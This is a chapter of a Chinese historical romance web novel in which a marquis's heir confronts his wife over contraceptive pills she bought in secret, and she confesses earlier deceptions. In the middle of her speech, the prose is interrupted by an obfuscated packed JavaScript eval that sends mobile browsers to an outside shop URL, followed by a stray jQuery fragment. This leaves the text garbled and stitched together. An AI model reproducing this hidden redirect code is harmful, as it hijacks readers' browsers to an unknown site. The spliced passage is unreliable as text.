话音刚落,木门被从外推开。

    晚风裹挟着廊下昏黄的光影,一同灌进屋内。

    谢洛衍走了进来,目光扫了眼随侍的婢女,“都退下吧。”

    很快,房间里只剩下了两人。

    许知鸢笑着起身挽上男人的胳膊,心底原有的苦闷,在瞧见他回来的那一瞬,竟奇异地消失殆尽。

    她仰起头,一双美目望着他,嗔怪道:“夫君,你今日怎么回来得这么晚?”

    若是往常,谢洛衍定然会回搂着她,轻吻她的唇,温声向她道歉。

    可此时此刻,他双手依然垂在身侧,并未理会她的问题,反而道:“你晌午离开后,去了何处?”

    “?”

    许知鸢明显愣了一下,下意识回避他看过来的目光,视线瞟向别处。

    “我、我身子不适,去了医馆一趟。”

    “医馆?”男人的声音听不出喜怒。

    许知鸢点头如捣蒜,“没错。”

    谢洛衍看着她,目光如炬。

    “既然身子不适,不如我现在再让大夫来,替你彻底看看?”

    “不用了!”

    拒绝的话语脱口而出。

    许知鸢恍然意识到自己的反应实在出格,声音又弱了下来。

    “我其实并无大碍,如今天都黑了,还是不劳大夫跑一趟。”

    真的是这样吗?

    谢洛衍的目光牢牢锁在少女身上,轻易便发现了她的双手正无意识搅着衣袖。

    或许许知鸢从无察觉,可他却很清楚,每当她如此行径时,都意味她心里很紧张。

    紧张?

    他脑海中闪过一个时辰前,沈弈川在茶楼雅间里向他递来的那样东西。

    房间里寂静无声。

    许知鸢见他没说话,心里不知所措,干脆踮起脚,主动亲吻他。

    男人的薄唇温凉,唇瓣紧闭着,半点没有让她深入的意思。

    许知鸢有些丧气,想不明白他这究竟是怎么了,干脆往后退了一小步,和他拉开距离。

    还没等她开口,便听谢洛衍冷漠道:“我再问一次,你今日午后,究竟去干什么了?”

    男人的双眼审视地看着她,嗓音冰冷。

    许知鸢顿时觉得鼻尖发酸,眼眶胀胀的。

    他这是什么语气?在审问犯人吗?

    她心中隐隐有了一个猜测,他难道是发现自己买了避子丹?

    许知鸢仔细回忆,上回买药已是近一个月前,期间除了锦书,便再没有旁人知晓此事。

    而今日她乔装出行,买药途中并未遇上旁人,大夫也早被她重金收买了,没道理会让谢洛衍发现啊。

    或许他只是听到了什么风声,故意试探?

    此时此刻,即便许知鸢的理智很清楚,谢洛衍八成就是知道了。

    可面对对方的逼问,她却很难能够坦诚一切。

    更何况,她讨厌谢洛衍这样同她讲话。

    于是她梗着脖子,坚持道:“我已经说过了,我身子不适,让大夫帮我开了几副安神的药,你若是不信,大可去医馆找大夫问清楚。”

    话音刚落,谢洛衍从袖中摸出一颗黑色的药丸,递到她眼前。

    许知鸢的心跳骤然漏了一拍,耳边轰鸣一片,男人的薄唇一张一合,她却什么都听不清了。

    !!!

    他真的知道了!

    昏黄的烛光摇曳,照映出谢洛衍冷硬的侧脸。

    他的脸色阴沉下来,闭了闭眼。

    茶楼里沈弈川所言他尚存几分疑虑,可如今瞧见许知鸢这般反应,他立即明白,沈弈川所言属实。

    原来她当真买了避子丹,不愿意与他孕育子嗣。

    可……为什么?

    他不禁在心中发问。

    沈弈川的话再次在耳畔响起。

    “因为她不喜欢你,她只是看上了你侯府的权势,根本就不在意你这个人。”

    “哦不,知鸢妹妹应该很讨厌你吧?要不然她嫁进侯府,成为世子妃,怎么最后却连孩子都不想要呢?”

    除去那日撞见沈弈川意图不轨,这是第二回,他没忍住,一拳砸在了他那张面目可憎的脸上。

    他再次倒在了地上,长袖拭去唇边血迹,跌跌撞撞爬起身,仍叫嚣着。

    “若非你有这般显赫的出身,你当真以为许知鸢会看得上你?”

    如果是在半个时辰前,谢洛衍尚且能有底气回嘴。

    可面对如此笃定的沈弈川,他竟头一次沉默了。

    亦如此刻,他与许知鸢之间的寂静。

    少女彻底松开了和他的最后一丝牵绊,收回手,回身坐在了圆凳上。

    无形的压抑沉沉地笼罩着她,胸口就像被堵住似的,闷得她几乎喘不过气来。

    许知鸢不是没想过,会有这么一天。

    可直到事发,她方察觉,和被谢洛衍发现相比,他此刻阴翳的脸色、冰冷的声音,才更让她难以接受。

    但就算到了此刻,她依然清晰地知道,自己并不会因为害怕他如此反应,便改变自己的想法。

    谢洛衍拿着药丸,向她逼近了一步,再次出声:“你认识这东西,对吧?”

    面对这样冷漠的男人,许知鸢已经不想再装下去了,点了点头。

    “认识。”

    简单的两个字,却犹如悬在头顶的利剑,终于刺穿了他的心房,鲜血淋漓。

    谢洛衍深深闭了下眼,声音沙哑。

    “你如果不愿,为何不一开始便告诉我?”

    为何要私下去吃这种药?为何要说些让他误会的话?为何给了他希望,如今却又亲手打碎?

    谢洛衍想不明白。

    难道真如沈弈川所言,她很讨厌他,讨厌到即便侯府能给她足够的倚仗,她也依旧不愿怀有他的子嗣?

    从小到大,谢洛衍并非从未被人厌恶过。

    那些暗地里痛恨他,却不得不忌惮侯府的人,他向来视为无物,根本不会放在心上。

    可若是许知鸢讨厌他……

    一想到这个可能,谢洛衍只觉得心都揪了起来。

    许知鸢不知他心中所想,仰头看向他。

    “我告诉你,然后呢?像侯府这样的高门大户,可以容忍世子妃无所出吗?若是传进母亲耳中,是不是马上便会为你寻旁的女子进门?”

    谢洛衍闻言一愣,正要摇头否认,却听她继续道:

    “更何况,明明是我的身体,我为何不能自己做主

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732827|203565||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?我想不想有,该什么时候有,都无需同你商量,不是吗?”

    许知鸢握紧双拳,可浑身仍在止不住地发颤,说完这番话的下一秒,视线便变得模糊了。

    晶莹的泪珠从女郎的脸颊滑落,藏在袖子里的指尖无意识摩挲了一下,谢洛衍忍了又忍,这才克制着没有替她擦去眼泪。

    明明他们是夫妻,可子嗣这种事,她却坦言,无需同他商量。

    “难道在你心里,就从未想过和我长久吗?”

    他的声音忽而很轻,目光没再看她,自然错过了她眼底一闪而过的落寞。

    许知鸢想不明白,她不想有孩子,和不想跟他长久,有什么必然联系吗?

    她分明已经坦诚了自己的心思,她是怕事情传到母亲耳中,她怕他知道后,就会去到别人房中。

    可他还是没能理解她。

    甚至连她此刻落了泪,他都能漠然置之,甚至不忘再次逼问她。

    难道这就是他所谓的喜欢吗?

    许知鸢没工夫去猜到底是谁将此事泄露给他,抬手囫囵擦去脸颊上的泪痕,站起身。

    “你说的没错,谢洛衍。若非我嫁进了侯府,注定后半生便要待在这里,我自是不会考虑和你拥有什么未来。”

    “你忘了你从前是怎么待我的吗?刚成婚便将我丢在府里,不止一次将我推到表哥身边,甚至还草拟好了和离书。”

    许知鸢越说越是激动,快步走到菱花镜前,从木匣子里翻出她放在最里面的那纸和离书,将它展开在谢洛衍面前。

    “谢洛衍,你到底有什么资格质问我?你忘了当初只差一点,你就要将我赶走了吗?”

    “若非我故意使计,让你误以为和我圆了房,只怕现在我已经不知去往了何处,同你还有什么以后可言?!”

    许知鸢的脑袋一片混沌,将心中所想一股脑全都吐露出来。

    就在这时,男人低下头,看向她发红的眼眶。

    “你说,是你使计,让我误以为和你圆房?”

    许知鸢心神一悸,双眸骤然瞪大,恍然意识到,自己究竟说了什么。

    “不、不是……”

    尽管两人如今闹得有些凶,可她心底仍不愿让谢洛衍发现她的心机。

    她试图再次去牵住他的手。

    男人的大掌不似从前温暖,尽管任由她勾住,却没有回握着她。

    谢洛衍仔细去回忆酒醉那晚发生的一切。

    脑海中的层层迷雾恍然散开了些。

    他骤然从中觉察出关键,冷眸直直地看着她。

    “许知鸢,你酒后起疹的事,是不是也是骗我的?”

    那晚许知鸢独自在凉亭中,明明浑身酒气,按照常理来说,她第二日便该找大夫来看看,亦或是给起红疹的地方涂些药膏。

    可在他的记忆中,她却并没有任何举动,翌日二人圆房时,少女的肌肤白皙如常。

    原来,连这件事,她也是骗了他的。

    许知鸢的心仿佛一间破败的房屋,风从四面八方的洞口灌了进来,让她浑身发冷。

    此时此刻,任何的辩解似乎都显得那样苍白。

    她不禁垂下头,彻底失去了反抗的力气。

    “你说的没错。”